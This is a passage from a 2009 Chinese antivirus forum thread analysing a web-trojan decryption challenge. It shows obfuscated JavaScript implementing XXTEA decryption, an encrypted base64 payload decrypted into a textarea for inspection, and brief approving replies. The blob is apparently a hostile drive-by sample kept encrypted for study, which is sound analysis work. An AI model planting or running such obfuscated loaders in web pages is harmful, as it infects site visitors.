var c28=str2long(ReSOiIt26,false);var p_29=str2long(Lh27,false);var TLlP30=c28["\x6c\x65\x6e\x67\x74\x68"]-1;var wY31=c28[TLlP30-1],SPMwoOdi32=c28[0],kFK33=0x9E3779B9;var rtCqYR34,_UWoyDd$35,V36=window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(TLlP30+1)),OTBMbdQa37=V36*kFK33&0xffffffff;while(OTBMbdQa37!=0){_UWoyDd$35=OTBMbdQa37>>>2&3;for(var vnnTim38=TLlP30;vnnTim38>0;vnnTim38--){wY31=c28[vnnTim38-1];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[vnnTim38]=c28[vnnTim38]-rtCqYR34&0xffffffff;}
wY31=c28[TLlP30];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[0]=c28[0]-rtCqYR34&0xffffffff;OTBMbdQa37=OTBMbdQa37-kFK33&0xffffffff;}
return long2str(c28,true);}
t="QKoc2AuhjC2dJ9InnmpGWNxifyE5+7tXS+5KhAa8I7NGB1dFdOBytNXuLlwoIYWaRzYmpQKBYHASnPhAinQsRR7d/NcFO92GnZRBvIPDvVAUkEsT/+Ro1sPoC3g/vuvRz2K8469tTb4+D6tZNi3iSekOo8QIyhtWpPu/Jrkw74/JJphZ8pyDCPRJYzH/YH0Z4023eiADh2eaxAhqf5tMWOhkyx8BMeZlhx8xN8TueojjjyhiF/p4RB8N94mpChieZcuX5zWwNScJCKrnCXjR2/ZbbnOdh/8zUBwDdAj9d+8YfqW3sGw1wfmJZH7ez1niukQ6eLPIoi9WlG1p1TilD3RRY2BpbxWzLMG+6sG/eZL6V6xc7evkXiaDr/YNnwyNtknxpqb889OWhlPja/v1izUWuamTAEIVb9ceqWS8QX7hsxcFMksm+XLf7q/6at6LQFemexkDudOpc7ryDgTECoZSwY0XxmXNUTgBZjWeU22X8dzEAvG3ozBwWZQ4c8Llf5PIzReo0hPOqcOd+XCS7o7qjlwd9YOPghfblfLCOkOLUvrJVwjjsvbnmyDdkpKNISF9M+t2heVKtmjzUdsmyndqHrCvd7Bs2h8/gAB2R/3adkLfdeC+ocLSatF0OU5tcvK/ZzW8QjJ4A2TV6qdu5fn5Ix8OvxBfDvrZuTwi/sjuwHL4Fz49G5KdhUjo5dLQH0ybvIM6CoPFLAt1QhGic29DWZA+8Nb8v4kjYTO0dPnM0NW3Vo83tatfrTtmxbHOSngmJ1GwAYgB8LtNOkhF7OPObjj9WM1Erz+1RlInwNz93qBoBqEItL7+gbCgAfAQgH7bQtbh0C8C4rG78kOn4UAcT+1RkrFyTOaNLmHVRy7vwTvNfAb33mQUfWVAsK2jijxPA+6XQfXNVh+J1IBmtbH4dORys+rw1yCYoWnAfqUrUlJZrR4zizOL2TH0r+KJm81q7l3Kzz7WTdgs1d0vv8SR0NHI28ap2d1bzUmDsJfMiglt1f/pgSdFslRHI4GeDL1QL+cTdmTrLgEmje05FRQNX3ju6SSlklXsedV+r/KUj7OYoJr0Ol21nkVNsGAqOouNuIQPbUqduPuNuYycqeWPxsgSlaQRpPdlZvi8LC9vQvGRnUSAObFMO2L8Z5WxK8VO4YenyYHHxgNEjMb++MKLzi2QCtvNgV8G2im2NoZvWg4hLCPgpl4T3smfzjoqJIOdiM5kKby/QPy/faQM0pQQEUYkNigunZNNMcdvSaw/58htoaYBtXHmGVDPECU+r7GKu/pyRuuwGV9XyAkUxrXdVeR/g9fJNtvWZGGr8k6CLnk+njbW4BtAjejll2FEVx7vsVPyY318oPiRvQPlyVQotru5LzfRPY8ysbuQcQqe63l5Ojnrn3LmWhxvTA5oHhv9Y6zKAVUaJOrd6F/AyGgoTOSpPaXhkR7v/Wd7NOD5tOnURkru3Ylul0YIn0pGirTNMJcnD3z6xMfBO9yxSeFxxfhRtzjZQP47Kg==";
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
document.getElementById("textareaID").innerText=(t);
</SCRIPT>

<META c name=GENERATOR></HEAD>
<BODY></BODY></HTML>



星宿*老怪 - 2009-7-29 15:27:00
:kaka1:
小浩小浩 - 2009-7-31 13:24:00
强,:kaka8:
RingXing小狮子 - 2009-8-7 10:01:00
:kaka1: 好贴，给版主评分了。
Lighting_Cui - 2009-8-7 18:18:00
强啊！！
1
查看完整版本: 网马解密悬赏第十九期简要分析
© 2000 - 2024 Rising Corp. Ltd.